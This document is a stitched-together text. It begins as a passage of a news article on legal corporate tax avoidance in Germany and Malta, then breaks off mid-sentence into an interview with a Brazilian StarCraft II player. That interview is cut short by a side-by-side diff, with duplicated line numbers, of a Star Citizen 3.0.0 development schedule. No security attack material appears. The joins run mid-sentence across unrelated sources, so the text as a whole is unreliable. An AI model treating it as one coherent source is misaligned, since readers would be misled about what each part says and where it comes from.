"It wasn't only friends that I made during the fight against tax havens," he says. However, he adds, it was important to "sail against the wind and stay on course in this effort." But now Steinbrück lacks more than popularity. Now he also needs money. Last week, Germany's Federal Statistical Office reported a national deficit of 17.3 billion ($24.8 billion) for the first half of 2009.
Completely Legal
But the minister's rage against tax havens risks obscuring a much bigger problem: A completely legal tax avoidance industry is flourishing right at home in Germany. It is an industry that thrives on the mistakes made by ministries and the parliament in drawing up tax legislation. And hardly any other industry is as successful, irrespective of the current economic situation, or operates as efficiently.
While ordinary German workers are at the mercy of the tax authorities, millionaires and corporations use aggressive tax models to make themselves appear to be artificially poor -- and it's completely legal. In fact, seminars on "International Tax Structuring" are even tax-deductible in Germany as professional training.
What the national treasury loses in the process is far from insignificant. The German Institute for Economic Research (DIW) has calculated that there is a gap of 100 billion between the demonstrated profits of corporations and partnerships and the profits they have reported for purposes of taxation. "This points to tax breaks and structuring options with which companies can lower their taxable profits or shift them abroad," writes the DIW.
In fact, German corporations structure their international subsidiaries in such a way that the most profitable ones are located in the countries with the lowest tax rates. Corporate tax paid by corporations makes up only 2.8 percent of the government's total tax revenues of 561 billion. Germany's army of wage-earners contributes the largest share.
"Germany is a tax haven for large companies," says Wiesbaden-based economist Lorenz Jarass. "People with normal incomes are being robbed."
Toothless Tiger
Steinbrück isn't so keen to discuss this injustice. He prefers to draw attention to his latest coups in the fight against tax havens: Belgium and Luxembourg have agreed to release information about potential tax evaders. And Swiss representatives will arrive in Berlin on Sept. 8 to negotiate a new double-taxation treaty that provides for increased mutual assistance between Swiss and German authorities.
This is undoubtedly progress. But another one of Steinbrück's prestigious projects has already failed: The interest-rate barrier that limits the tax deductibility of interest costs for businesses has been relaxed.
He was also forced to make concessions on the tax evasion law passed in July. Instead of leaving it solely up to the finance minister to determine which countries are to be ostracized as tax havens, the Foreign Ministry and Economics Ministry will also be involved in such decisions in the future. However if a country is classified as a tax haven, it will mean that investors and companies doing business there will be subject to stricter requirements regarding providing tax-related information.
Corporations have little to fear from such a toothless tiger. They maintain entire departments for the sole purpose of optimizing their tax situation. In their international web of subsidiaries, they manage to control the internal flows of money with the help of three adjusting mechanisms: interest payments, license fees and transfer prices.
It works in the following way: Swiss subsidiaries charge their German parent company high fees for the use of patents or charge prices higher than the cost price for product shipments. The resulting profits are earned in the tax havens.
However Dieter Ondracek, head of the German Tax Trade Union, claims some of these problems have already been fixed. "Many of these loopholes were plugged with the 2008 corporate tax reform," he says.
Financial Monopoly
Tax expert Hanno Berger, for one, finds that argument laughable. Berger, a stout man in his late fifties with a construction worker's handshake, spent 14 years auditing Frankfurt banks for the German tax authorities -- until he succumbed to the lure of private industry. Nowadays, he sits in his office on the 31st floor of the Skyper building in Frankfurt and designs tax savings models for the ultra-rich and large corporations.
Berger's trademark is zero taxes for multi-millionaires. He is considered the king of the industry. With the skyline of Frankfurt's financial center as a backdrop, he uses a flipchart to illustrate his most successful structures -- those with tax-free returns of up to 10 percent. For Berger, finding ways to beat the tax system is an "athletic and intellectual challenge." Is it his problem that Berlin enacts amateurish laws? It's no wonder that the Finance Ministry sees Berger as one of its greatest enemies.
Of course, Berger is also familiar with the latest mecca for Germans seeking to optimize their tax structure: Malta. In the global game of financial Monopoly, the small Mediterranean country has become one of German industry's preferred locations in the time since it joined the European Union in 2004.
Companies like Lufthansa, Puma, BASF, K+S and Fraport have their offices in the town of St. Julian's, near the "Stiletto Gentleman's Club" and the pubs where foreign language students drink themselves into oblivion. The offices of the BMW Malta Group are near the casino in the upscale Portomaso waterfront development.
"The number of companies in Malta is growing rapidly," says Andrew Manduca, a partner in the accounting firm Deloitte Malta. He avoids using the term tax haven. "Companies pay a 35 percent tax rate here, which is more than in Germany." Technically, this is correct, but in a second step, shareholders can apply for a refund of the bulk of those taxes. On balance, profit distribution in the form of dividends is taxed at only 5 percent. After taxation, the net dividends are returned to the coffers of the German parent companies -- 95 percent tax-exempt, thanks to the decisions of the former Social Democratic and Green Party coalition government under former Chancellor Gerhard Schröder.
No one seems to be troubled by the fact that this loophole deprives the German treasury of massive amounts of revenue. On the contrary.
Last summer, Germany's ambassador to Malta invited German banking executive Frank Krings -- now a member of the management board of the troubled mortgage lender Hypo Real Estate -- to his private residence for a meeting with representatives of subsidiaries of German companies. Krings apparently liked what he heard. The local media has reported that banking giant Deutsche Bank plans to expand its business in Malta this year.Once again, that's not a European player that will bring our attentions today, but a Terran player that is raging on the other side of the Atlantic. Not in the United States, no, but in a country that is not necessarily known for giving rise to a huge number of great StarCraft II players : Brazil.
Premier League player, Kelazhur, will then be our guest for this week.
- Get Over It Gaming - Core Gaming - Micro Gamerz - Try Again
From United States to Brazil...
[M] TinkeR : Besides the fact that you are a Brazilian Terran player, we don’t know so much about you. Could you introduce yourself to the readers, and explain how did you fall into StarCraft II and eSports in general?
Kelazhur : Hello, my name is Diego, better known as Kelazhur. I play Terran ever since StarCraft 1 and because it was my favorite game, I got StarCraft II as soon as it came out.
I discovered eSports when I started playing small Brazilian tournaments and watching GSL.
I understood that you originally come from United States? For how long have you been in Brazil now?
Yes, I was born in Florida, but I moved when I was only 3 years old. I've been here for 16 years now.
So back to the beginning of your career and to StarCraft II, what was the very first |
. 165 Operator Seats.
166 Operator seats replace existing vehicle seats as the new controllers of Item 2.0 based ships. 166 Operator seats replace existing vehicle seats as the new controllers of Item 2.0 based ships.
167 Feature Complete 167 Feature Complete
168 Radar System 168 Radar System
169 Feature Complete 169 Feature Complete
170 Light Control System. 170 Light Control System.
171 Feature Complete 171 Feature Complete
172 Fuel / Refuel. 172 Fuel / Refuel.
173 Feature Complete 173 Feature Complete
174 Power Supply / Pipes. 174 Power Supply / Pipes.
175 Feature Complete 175 Feature Complete
176 Quantum Drive. 176 Quantum Drive.
177 Feature Complete 177 Feature Complete
178 178
179 Insurance 179 Insurance
180 180
181 Code Complete. Now supporting bugfixing 181 Code Complete. Now supporting bugfixing
182 182
183 Stamina 183 Stamina
184 184
185 All 3.0.0 tasks complete. This feature will be developed further for future releases. 185 All 3.0.0 tasks complete. This feature will be developed further for future releases.
186 186
187 Doors & Airlocks 187 Doors & Airlocks
188 188
189 We are starting to update the doors and airlocks within the game to be more intelligent. This would mean that the door would ‘know’ if a room beyond them is depressurized and would stay shut for safety. 189 We are starting to update the doors and airlocks within the game to be more intelligent. This would mean that the door would ‘know’ if a room beyond them is depressurized and would stay shut for safety.
190 Feature Complete for 3.0.0. Bugfixing in progress.* 190 * Feature Complete for 3.0.0. Bugfixing in progress.*
191 191
192 Cargo 192 Cargo
193 193
194 Code Complete. Now supporting bugfixing. 194 Code Complete. Now supporting bugfixing.
195 195
196 Commodities 196 Commodities
197 197
198 Implementing items to represent units of commodity cargo. 198 Implementing items to represent units of commodity cargo.
199 Feature Complete 199 Feature Complete
200 200
201 Kiosk Support 201 Kiosk Support
202 202
203 Code Complete. Now supporting bugfixing. 203 Code Complete. Now supporting bugfixing.
204 204
205 Atmospheric Entry Support 205 Atmospheric Entry Support
206 206
207 Feature Complete 207 Feature Complete
208 208
209 Persistent Damage, Ammo and Missiles 209 Persistent Damage, Ammo and Missiles
210 210
211 Persistence ensures that your vehicle state is saved between sessions. 211 Persistence ensures that your vehicle state is saved between sessions.
212 Feature Complete 212 Feature Complete
213 213
214 Repair 214 Repair
215 215
216 Code Complete Bugfixing to follow as needed. 216 Code Complete Bugfixing to follow as needed.
217 217
218 Inventory System Support 218 Inventory System Support
219 219
220 The inventory will offer a way to manage the cargo and commodities that are being carried by the ships a player owns. 220 The inventory will offer a way to manage the cargo and commodities that are being carried by the ships a player owns.
221 Date will remain connected to the UI team’s progress on the inventory. 221 Date will remain connected to the UI team’s progress on the inventory.
222 ETA is 14th July (was 3rd July) 222 ETA is 20th July (was 14th July)
223 223
224 Rover and Dragonfly in Ships 224 Rover and Dragonfly in Ships
225 225
226 Players will be able to transport the Ursa Rover and the Dragonfly inside ships that are big enough to hold them 226 Players will be able to transport the Ursa Rover and the Dragonfly inside ships that are big enough to hold them
227 The conversion to the Item 2.0 ships and how they work has introduced unforeseen issues with their physics. This will require a combination of Tech Design and Physics code to address the situation. This is proving to be a more in-depth problem than initially anticipated and the code team was pulled to help support elevators and general physics crashes which we necessary for internal review. 227 The conversion to the Item 2.0 ships and how they work has introduced unforeseen issues with their physics. This will require a combination of Tech Design and Physics code to address the situation. This is proving to be a more in-depth problem than initially anticipated and the code team was pulled to help support elevators and general physics crashes which we necessary for internal review.
228 ETA is 12th July (was 27th June) 228 ETA is 12th July (was 27th June)
229 229
230 IFCS Performance Improvements – New Addition 230 IFCS Performance Improvements – New Addition
231 231
232 Changing the IFCS system to work in batch updates for performance improvements 232 Changing the IFCS system to work in batch updates for performance improvements
233 Feature Complete 233 Feature Complete
234 234
235 Hint System 235 Hint System
236 236
237 We have decided to include a first iteration of in-game hints to help new players acclimate to the various complex gameplay mechanics in Star Citizen. This is a feature we have worked on in the background and until this week, were unsure if it would be ready in time for 3.0.0. As work on this has progressed better than expected, we have made the decision to include this feature for 3.0.0 237 We have decided to include a first iteration of in-game hints to help new players acclimate to the various complex gameplay mechanics in Star Citizen. This is a feature we have worked on in the background and until this week, were unsure if it would be ready in time for 3.0.0. As work on this has progressed better than expected, we have made the decision to include this feature for 3.0.0
238 Feature Complete for 3.0.0. Bugfixing & polish in progress. 238 Feature Complete for 3.0.0. Bugfixing & polish in progress.
239 239
240 Already complete in the 3.0.0 branch: 240 Already complete in the 3.0.0 branch:
241 241
242 Crusader Converted to Object Container Setup 242 Crusader Converted to Object Container Setup
243 With the transition to Object Containers, the Crusader map was completely re-designed. Each Point of Interest is now an object container laid out via the Solar System Editor. This is in preparation for Object Container streaming and seamless transitions from different POI’s and between Star Systems. Mission Flowgraphs are converted over to use Subsumption and the new Mission System. 243 With the transition to Object Containers, the Crusader map was completely re-designed. Each Point of Interest is now an object container laid out via the Solar System Editor. This is in preparation for Object Container streaming and seamless transitions from different POI’s and between Star Systems. Mission Flowgraphs are converted over to use Subsumption and the new Mission System.
244 Mega Map for Persistent Universe 244 Mega Map for Persistent Universe
245 Mega Map tech (also used in Crusader for seamless loading between different gamemodes) is now possible in the new PU map, which is setup in the Solar System Editor. This allows the utilization of Mega Map technology. 245 Mega Map tech (also used in Crusader for seamless loading between different gamemodes) is now possible in the new PU map, which is setup in the Solar System Editor. This allows the utilization of Mega Map technology.
246 Revamp of Power Plants / Shield Generators / Coolers and the Heat & Power System for improved gameplay and conversion to Item 2.0 246 Revamp of Power Plants / Shield Generators / Coolers and the Heat & Power System for improved gameplay and conversion to Item 2.0
247 247
248 Core Tech 248 Core Tech
249 249
250 Planetary Tech 250 Planetary Tech
251 251
252 Feature Complete 252 Feature Complete
253 253
254 Solar System Tool 254 Solar System Tool
255 255
256 Feature Complete 256 Feature Complete
257 257
258 Entity Update Component Scheduler 258 Entity Update Component Scheduler
259 259
260 Will allow lower priority entities (i.e. those further away from players) to be updated less frequently, which should improve the overall framerate and allow us to add more content to the universe. 260 Will allow lower priority entities (i.e. those further away from players) to be updated less frequently, which should improve the overall framerate and allow us to add more content to the universe.
261 Intended work on this feature will extend past 3.0.0. This feature will extend past 3.0.0 as the work is ongoing, and continual improvements will be made in the run up to 3.0.0 release. 261 Intended work on this feature will extend past 3.0.0. This feature will extend past 3.0.0 as the work is ongoing, and continual improvements will be made in the run up to 3.0.0 release.
262 The LA Engineering team is currently busy supporting the item 2.0 ship conversion and the UI team with the implementation of their features, their support is required for this particular bug so we had to wait until they were available, resulting in a delay. 262 The LA Engineering team is currently busy supporting the item 2.0 ship conversion and the UI team with the implementation of their features, their support is required for this particular bug so we had to wait until they were available, resulting in a delay.
263 ETA is 14th July (was 7th July) 263 ETA is 14th July (was 7th July)
264 264
265 Entity Owner Manager 265 Entity Owner Manager
266 266
267 The Entity Owner Manager will track entities that are moved around the universe, making sure we spawn and unspawn them at the correct time 267 The Entity Owner Manager will track entities that are moved around the universe, making sure we spawn and unspawn them at the correct time
268 Work on this feature was paused in order to support various bugs and feature polish for this week’s milestone review. 268 Work on this feature was paused in order to support various bugs and feature polish for this week’s milestone review.
269 LA Engineering has identified additional tasks needed to support persistence and netcode. 269 LA Engineering has identified additional tasks needed to support persistence and netcode.
270 ETA is 14th July (was 7th July) 270 ETA is 20th July (was 14th July)
271 271
272 Already complete in the 3.0.0 branch: 272 Already complete in the 3.0.0 branch:
273 273
274 New Radar Databank 274 New Radar Databank
275 Subsumption Base Functionality 275 Subsumption Base Functionality
276 This is the initial release of the foundation technology that drives all of the AI, mission, dynamic content, and conversation logic. The mission content previously created with FlowGraph has been replaced and the implementation time to achieve a desired effect has been cut dramatically. 276 This is the initial release of the foundation technology that drives all of the AI, mission, dynamic content, and conversation logic. The mission content previously created with FlowGraph has been replaced and the implementation time to achieve a desired effect has been cut dramatically.
277 Various Performance improvements 277 Various Performance improvements
278 Planetary Physics Grid to support orbiting and rotating planets 278 Planetary Physics Grid to support orbiting and rotating planets
279 Multi-Function Display implementation for Item 2.0 Components on ships 279 Multi-Function Display implementation for Item 2.0 Components on ships
280 IFCS improvements to support AI & Takeoff System 280 IFCS improvements to support AI & Takeoff System
281 Unified Visor for seamless Ship 2.0 / FPS transition 281 Unified Visor for seamless Ship 2.0 / FPS transition
282 HUD/Visor integration for new Radar Databank 282 HUD/Visor integration for new Radar Databank
283 Object Distribution 283 Object Distribution
284 Terrain / Object blending for soft natural transition of objects intersecting with the ground 284 Terrain / Object blending for soft natural transition of objects intersecting with the ground
285 Video codec updated to Bink2, providing higher fidelity at lower bitrate 285 Video codec updated to Bink2, providing higher fidelity at lower bitrate
286 Vehicles no longer use Lua 286 Vehicles no longer use Lua
287 This is a huge step forward on the code side. 287 This is a huge step forward on the code side.
288 Skeleton Extension support for Item Port Offset overrides per item 288 Skeleton Extension support for Item Port Offset overrides per item
289 Numerous types of physics simulation for all Item 2.0 attachments including hair, weapons, grenades and more. 289 Numerous types of physics simulation for all Item 2.0 attachments including hair, weapons, grenades and more.
290 Destructible component for items, props and environment assets 290 Destructible component for items, props and environment assets
291 Nested Physics Grids support for vehicle transportation inside large ships, i.e. DragonFly & Rover 291 Nested Physics Grids support for vehicle transportation inside large ships, i.e. DragonFly & Rover
292 Physics simulation gravity vector now respects planetary gravity 292 Physics simulation gravity vector now respects planetary gravity
293 Modular loadouts rule sets and support for up to five loadouts 293 Modular loadouts rule sets and support for up to five loadouts
294 Animation driven facial audio implemented 294 Animation driven facial audio implemented
295 Updated Sandbox Editor Python integration. 295 Updated Sandbox Editor Python integration.
296 Zone culling on all character assets and layers, system complete and mesh markup complete supplemented with tools to easily support new assets. 296 Zone culling on all character assets and layers, system complete and mesh markup complete supplemented with tools to easily support new assets.
297 Solar System Editor 297 Solar System Editor
298 A tool that will layout entire solar system with their astral objects (sun, planets moons) as well as space stations, etc. 298 A tool that will layout entire solar system with their astral objects (sun, planets moons) as well as space stations, etc.
299 New Light Controller for runtime light switches 299 New Light Controller for runtime light switches
300 New network message queue (current in QATR) to reduce network bandwidth and network thread time. 300 New network message queue (current in QATR) to reduce network bandwidth and network thread time.
301 Light Entity Render node merging. 301 Light Entity Render node merging.
302 Dynamic Physics Grid to support sparse space areas vs. dense areas like space stations. 302 Dynamic Physics Grid to support sparse space areas vs. dense areas like space stations.
303 Highly optimized vertex and position format for all geometry 303 Highly optimized vertex and position format for all geometry
304 Texture memory usage reduced across the project 304 Texture memory usage reduced across the project
305 Unified material libraries for use across all departments 305 Unified material libraries for use across all departments
306 Comparing and finding all duplicated normal maps and albedo maps in the LayerBlend texture library 306 Comparing and finding all duplicated normal maps and albedo maps in the LayerBlend texture library
307 Clean up LayerBlend Material Libraries, Resolution Adjustments, Renames to Lower Case 307 Clean up LayerBlend Material Libraries, Resolution Adjustments, Renames to Lower Case
308 Follow-ups on list of unused textures and materials 308 Follow-ups on list of unused textures and materials
309 Massively improved LOD computation and average face sizes for ships 309 Massively improved LOD computation and average face sizes for ships
310 Shared hair assets (instead of bespoke asset per head) for character creation 310 Shared hair assets (instead of bespoke asset per head) for character creation
311 Automated facial asset LODs, skinning algorithm per LOD updated. 311 Automated facial asset LODs, skinning algorithm per LOD updated.
312 Reworked mesh setup of facial assets for optimal performance and reduced drawcalls. 312 Reworked mesh setup of facial assets for optimal performance and reduced drawcalls.
313 Unified helmet and character mesh into singular render proxy for better performance and visuals. 313 Unified helmet and character mesh into singular render proxy for better performance and visuals.
314 Various portal and culling improvements. 314 Various portal and culling improvements.
315 Improved Animation Data Base collection and build process for optimized animation data streaming also added external tools to manage this. 315 Improved Animation Data Base collection and build process for optimized animation data streaming also added external tools to manage this.
316 Deprecated thousands of legacy and test assets including animations, geometry, libraries and more for reduced build size. 316 Deprecated thousands of legacy and test assets including animations, geometry, libraries and more for reduced build size.
317 Automatic Asset Error collection and tracking. 317 Automatic Asset Error collection and tracking.
318 Reworked itemport layout for characters and character items 318 Reworked itemport layout for characters and character items
319 Updated all assets using HumanSkin to highly optimized HumanSkinv2 shader. This saves upwards of a 100 megs of texture memory per face. 319 Updated all assets using HumanSkin to highly optimized HumanSkinv2 shader. This saves upwards of a 100 megs of texture memory per face.
320 Vastly improved memory allocator which allowed massive reduction in runtime allocation count 320 Vastly improved memory allocator which allowed massive reduction in runtime allocation count
321 Several significant optimizations to entity update code 321 Several significant optimizations to entity update code
322 322
323 UI 323 UI
324 324
325 As you will see, the UI schedule has undergone some significant changes to accommodate some new features designed to enhance the player experience. The following schedule and dates will be used as the new baseline for the UI schedule, the previous completion dates have been included to indicate the change. 325 As you will see, the UI schedule has undergone some significant changes to accommodate some new features designed to enhance the player experience. The following schedule and dates will be used as the new baseline for the UI schedule, the previous completion dates have been included to indicate the change.
326 326
327 Kiosk UI 327 Kiosk UI
328 328
329 Feature Complete 329 Feature Complete
330 330
331 Item 2.0 Multi Function Displays 331 Item 2.0 Multi Function Displays
332 332
333 MFDs are being converted to work in the new item 2.0 system to give pilots even more control of their ships. 333 MFDs are being converted to work in the new item 2.0 system to give pilots even more control of their ships.
334 The code side of this is now complete and is now down to UI Art to implement. 334 UI have been implementing these screens while supporting other features, so QA can test each area as soon as possible. While this benefits us from a testing point of view, it has resulted in an overall delay in completion.
335 ETA is 11th July (was 7th July) 335 ETA is 18th July (was 11th July)
336 336
337 Field of View Slider 337 Field of View Slider
338 338
339 Feature Complete 339 Feature Complete
340 340
341 Character Customization 341 Character Customization
342 342
343 *Players will now be able to customize their characters’ heads, hair, eye color, and skin color. 343 *Players will now be able to customize their characters’ heads, hair, eye color, and skin color.
344 344
345 Delayed due to team’s focus on priority tasks for internal milestone review. 345 Delayed due to team’s focus on priority tasks for internal milestone review.
346 ETA is 25th July (was 17 July) 346 ETA is 25th July (was 17 July)
347 347
348 Personal Manager App 348 Personal Manager App
349 349
350 This App will allow players to review their inventory and customize various aspects of their suit and weapons. 350 This App will allow players to review their inventory and customize various aspects of their suit and weapons.
351 Further polish work is needed to implement a profile selection and create a pop-up to select between loadout slots, but requires a little more time to complete. 351 Further polish work is needed to implement a profile selection and create a pop-up to select between loadout slots, but requires a little more time to complete.
352 ETA is 10th July (was 3rd July) 352 Feature Complete Bug Fixing in progress.
353 353
354 Mission Manager App 354 Mission Manager App
355 355
356 Feature Complete. Bug fixing in progress 356 Feature Complete. Bug fixing in progress
357 357
358 Cargo Manifest App 358 Cargo Manifest App
359 359
360 After buying items at a Kiosk, players will be able to head to their ship and check their cargo manifest This incorporates the work that was previously accounted for in the “Cargo UI” task 360 After buying items at a Kiosk, players will be able to head to their ship and check their cargo manifest This incorporates the work that was previously accounted for in the “Cargo UI” task
361 Delayed due to team’s focus on priority tasks for internal milestone review. 361 Delayed due to team’s focus on priority tasks for internal milestone review.
362 ETA is 14th July (was 7th July) 362 ETA is 20th July (was 14th July)
363 363
364 Vehicle Customizer App 364 Vehicle Customizer App
365 365
366 This app will allow players to customize their ship via the ship customization screen, so edits can be done without locating the exact port on the ship. 366 This app will allow players to customize their ship via the ship customization screen, so edits can be done without locating the exact port on the ship.
367 Delayed due to team’s focus on priority tasks for internal milestone review, specifically the Hint System. 367 Delayed due to team’s focus on priority tasks for internal milestone review, specifically the Hint System.
368 ETA is 27th July (was 13th July) 368 ETA is 27th July (was 13th July)
369 369
370 Ship Selector App & Insurance Claim 370 Ship Selector App & Insurance Claim
371 371
372 This app would exist alongside the Ship Selection Terminals in the Persistent Universe, allowing players more freedom to spawn ships at designated locations. 372 This app would exist alongside the Ship Selection Terminals in the Persistent Universe, allowing players more freedom to spawn ships at designated locations.
373 We are incorporating the Insurance Claim process, so we have one app that will serve two functions. 373 We are incorporating the Insurance Claim process, so we have one app that will serve two functions.
374 Slight delay due to shifting resources to address other tasks. 374 Slight delay due to shifting resources to address other tasks.
375 Delayed due to team’s focus polishing the mission manager. 375 Delayed due to team’s focus polishing the mission manager.
376 ETA is 19th July (was 5th July) 376 ETA is 19th July (was 5th July)
377 377
378 Heavy Armor for Star Marine 378 Heavy Armor for Star Marine
379 379
380 Heavy armor will be enabled for selection within the Star Marine loadout customization menu. 380 Heavy armor will be enabled for selection within the Star Marine loadout customization menu.
381 Feature Complete 381 Feature Complete
382 382
383 Inventory System 383 Inventory System
384 384
385 Very closely linked to the cargo manifest App. This will be the place to look for you personal inventory. 385 Very closely linked to the cargo manifest App. This will be the place to look for you personal inventory.
386 Delayed due to team focusing on this week’s milestone review. 386 Progress has been affected due to the work on the Search Feature.
387 ETA is 14th July (was 7th July) 387 ETA is 20th July (was 14th July)
388 388
389 Mission Board App 389 Mission Board App
390 390
391 The mission board allows players to see the service beacons that have been set up around the universe by other players calling for assistance. 391 The mission board allows players to see the service beacons that have been set up around the universe by other players calling for assistance.
392 Feature Complete 392 Feature Complete
393 393
394 StarMap App 394 StarMap App
395 395
396 The StarMap will be introduced to allow players to view the PU at large and select planets to QT to. 396 The StarMap will be introduced to allow players to view the PU at large and select planets to QT to.
397 To achieve Feature Complete, we’ve prioritized this task and pulled other team members to provide support 397 To achieve Feature Complete, we’ve prioritized this task and pulled other team members to provide support
398 The UI team have now broken down the feedback from last week’s review and adjusted their estimate. 398 The UI team have now broken down the feedback from last week’s review and adjusted their estimate.
399 ETA is 18th July (was 7th July) 399 ETA is 18th July (was 7th July)
400 400
401 UI Owner Component 401 UI Owner Component
402 402
403 Feature Complete 403 Feature Complete
404 404
405 mobiGlas Overhaul 405 mobiGlas Overhaul
406 406
407 Feature Complete 407 Feature Complete
408 408
409 Comms System UI 409 Comms System UI
410 410
411 We are adding the initial implementation of the Comms System in to 3.0.0 which will allow players to hail in order to request landing while at the various space stations in the PU. 411 We are adding the initial implementation of the Comms System in to 3.0.0 which will allow players to hail in order to request landing while at the various space stations in the PU.
412 Delayed due to knock-on effect of the delay to the inventory system work. 412 Delayed due to knock-on effect of the delay to the inventory system work.
413 ETA is 25th July (was 18th July) 413 ETA is 25th July (was 18th July)
414 414
415 AI 415 AI
416 416
417 Mission System 417 Mission System
418 418
419 The overall system that will be used to create mission flows when we start building missions like Patrol, Assassination, Smuggling, etc. 419 The overall system that will be used to create mission flows when we start building missions like Patrol, Assassination, Smuggling, etc.
420 Some bugs are blocking completion of the mission system which the AI team requires support from the LA Engineering department to resolve. However, LA Engineering are currently closing out their remaining tasks for milestone reviews before they are able to provide support for this. 420 We are continuing to build on the mission system AI in order for design to implement more missions for inclusion in 3.0.0
421 ETA is 19th July (was 30th June) 421 ETA is 24th July (was 19th June)
422 422
423 AI Turrets 423 AI Turrets
424 424
425 We are adding the ability for AI to operate turrets in Crusader, so we are working to make sure that they track and fire upon the correct targets. 425 We are adding the ability for AI to operate turrets in Crusader, so we are working to make sure that they track and fire upon the correct targets.
426 Feature Complete 426 Feature Complete
427 427
428 Graphics 428 Graphics
429 429
430 Render to Texture 430 Render to Texture
431 431
432 This will have many uses going forwards, but our focus for now is to improve UI rendering and to introduce live rendering of video communications. We’re aiming to improve rendering performance by rendering as much of the UI ahead of a frame. For video communications, this will mean that we don’t have to pre-render the comms and store those files on the hard drive, as is the case with most games, allowing us to maintain fidelity and save hard drive space. 432 This will have many uses going forwards, but our focus for now is to improve UI rendering and to introduce live rendering of video communications. We’re aiming to improve rendering performance by rendering as much of the UI ahead of a frame. For video communications, this will mean that we don’t have to pre-render the comms and store those files on the hard drive, as is the case with most games, allowing us to maintain fidelity and save hard drive space.
433 Additional requirements were discovered in development that were not originally apparent, but are required for building a robust and scale-able system for the future. 433 This system is still in progress, but due to its overall size and some of the other features for 3.0.0 that require Render to Texture, teams are using the system as soon as they are able, which means that Render to Texture is requiring bug fixing support while it’s being developed which results in further delays of the system as a whole. The date below does also take dedicated bug fixing time into account.
434 ETA is 27th July 434 ETA is 10th August (was 27th July)
435 435
436 Environment Probe 436 Environment Probe
437 437
438 This allows for bounced lighting and reflections to be updated dynamically and will result in better lighting visuals. 438 This allows for bounced lighting and reflections to be updated dynamically and will result in better lighting visuals.
439 This has been quite an in-depth task for the Graphics team whose work revealed a variety of unknown issues causing a delay. 439 This has been quite an in-depth task for the Graphics team whose work revealed a variety of unknown issues causing a delay.
440 Feature Complete 440 Feature Complete
441 441
442 Atmospheric Entry 442 Atmospheric Entry
443 443
444 Feature Complete 444 Feature Complete
445 445
446 Volumetric Fog 446 Volumetric Fog
447 447
448 The completion date has moved back due to unexpected issues with implementing the Volumetric fog away from Lumberyard to work correctly with our systems. 448 The completion date has moved back due to unexpected issues with implementing the Volumetric fog away from Lumberyard to work correctly with our systems.
449 Completion of required tasks are taking a bit more time than expected. 449 Completion of required tasks are taking a bit more time than expected.
450 ETA is 9th June (was 30th May) 450 ETA is 9th June (was 30th May)
451 451
452 GPU Particle Foundation 452 GPU Particle Foundation
453 453
454 Feature Complete 454 Feature Complete
455 455
456 Engine Trails & Contrails 456 Engine Trails & Contrails
457 457
458 Feature Complete 458 Feature Complete
459 459
460 Asteroid Physics 460 Asteroid Physics
461 461
462 * Feature Complete 462 * Feature Complete
463 463
464 Exposure Improvements 464 Exposure Improvements
465 465
466 We are adding support for peripheral vision to be taken into account when calculating exposure, rather than just what is onscreen. This will avoid situations like looking into a space when there is something very bright (such as a planet surface or space station) just off-screen. 466 We are adding support for peripheral vision to be taken into account when calculating exposure, rather than just what is onscreen. This will avoid situations like looking into a space when there is something very bright (such as a planet surface or space station) just off-screen.
467 As other work progressed, we gained insight into this task which made the completion much more straight forward, allowing the improvements to be made earlier than anticipated. 467 As other work progressed, we gained insight into this task which made the completion much more straight forward, allowing the improvements to be made earlier than anticipated.
468 Feature Complete. 468 Feature Complete.
469 469
470 Already complete in the 3.0.0 branch: 470 Already complete in the 3.0.0 branch:
471 471
472 RenderTarget refactor 472 RenderTarget refactor
473 This saves over 50% of the video memory previously used for dynamic textures. 473 This saves over 50% of the video memory previously used for dynamic textures.
474 Physically-based area lights 474 Physically-based area lights
475 Shadow map caching system 475 Shadow map caching system
476 This allows for many more shadow casting lights at once and avoids the need for baking shadows. 476 This allows for many more shadow casting lights at once and avoids the need for baking shadows.
477 Revamped decal rendering system which renders fully deferred, instanced decals with aggressive overdraw optimizations 477 Revamped decal rendering system which renders fully deferred, instanced decals with aggressive overdraw optimizations
478 478
479 Backend 479 Backend
480 480
481 Diffusion Subset for 3.0.0 481 Diffusion Subset for 3.0.0
482 482
483 Diffusion is our second-generation cloud-oriented back-end service architecture. It dramatically simplifies the effort required to implement, maintain, and interact with services, while simultaneously providing major enhancements in the areas of scalability and redundancy. 483 Diffusion is our second-generation cloud-oriented back-end service architecture. It dramatically simplifies the effort required to implement, maintain, and interact with services, while simultaneously providing major enhancements in the areas of scalability and redundancy.
484 Feature Complete 484 Feature Complete
485 485
486 Solar System Shop Service 486 Solar System Shop Service
487 487
488 Feature Complete 488 Feature Complete
489 489
490 Solar System Mission Service V1 “Mission Broker” 490 Solar System Mission Service V1 “Mission Broker”
491 491
492 Feature Complete 492 Feature Complete
493 493
494 Network 494 Network
495 495
496 New Message Queue 496 New Message Queue
497 497
498 Feature Complete 498 Feature Complete
499 499
500 Physics Serialization 500 Physics Serialization
501 501
502 This will fix a few long standing threading issues between the network and physics code which will improve separation of physics and netcode for better maintainability. 502 This will fix a few long standing threading issues between the network and physics code which will improve separation of physics and netcode for better maintainability.
503 Code Complete. Bug fixing in progress. 503 Code Complete. Bug fixing in progress.
504 504
505 Persistent Data Refactor 505 Persistent Data Refactor
506 506
507 Code Complete for 3.0.0 507 Code Complete for 3.0.0
508 508
509 Ships & Weapons 509 Ships & Weapons
510 510
511 Drake Dragonfly 511 Drake Dragonfly
512 512
513 Feature Complete. Some code bugs remain 513 Feature Complete. Some code bugs remain
514 514
515 Drake Cutlass Black 515 Drake Cutlass Black
516 516
517 Feature Complete 517 Feature Complete
518 518
519 RSI Constellation Aquila 519 RSI Constellation Aquila
520 520
521 Feature Complete. Some code bugs remain 521 Feature Complete. Some code bugs remain
522 522
523 RSI Ursa Rover 523 RSI Ursa Rover
524 524
525 Feature Complete 525 Feature Complete
526 526
527 MISC Prospector 527 MISC Prospector
528 528
529 Feature Complete. Some code bugs remain. 529 Feature Complete. Some code bugs remain.
530 530
531 RSI Aurora
532
533 This is an updated version of the Aurora. We previously didn’t think that we would have the time to complete this rework for 3.0.0, however, with the movement of our release dates we are now able to include this rework with 3.0.0.
534 ETA is 21st July
535
531 Behring P8-SC 536 Behring P8-SC
532 537
533 Feature Complete 538 Feature Complete
534 539
535 Apocalypse Arms Scourge Rail Gun 540 Apocalypse Arms Scourge Rail Gun
536 541
537 A shoulder mounted railgun capable of providing high levels of damage at a long range. 542 A shoulder mounted railgun capable of providing high levels of damage at a long range.
538 Completion on UI tech has slightly pushed the completion date for this weapon. 543 Completion on UI tech has slightly pushed the completion date for this weapon.
539 ETA is 9th June (was 8th June) 544 ETA is 9th June (was 8th June)
540 545
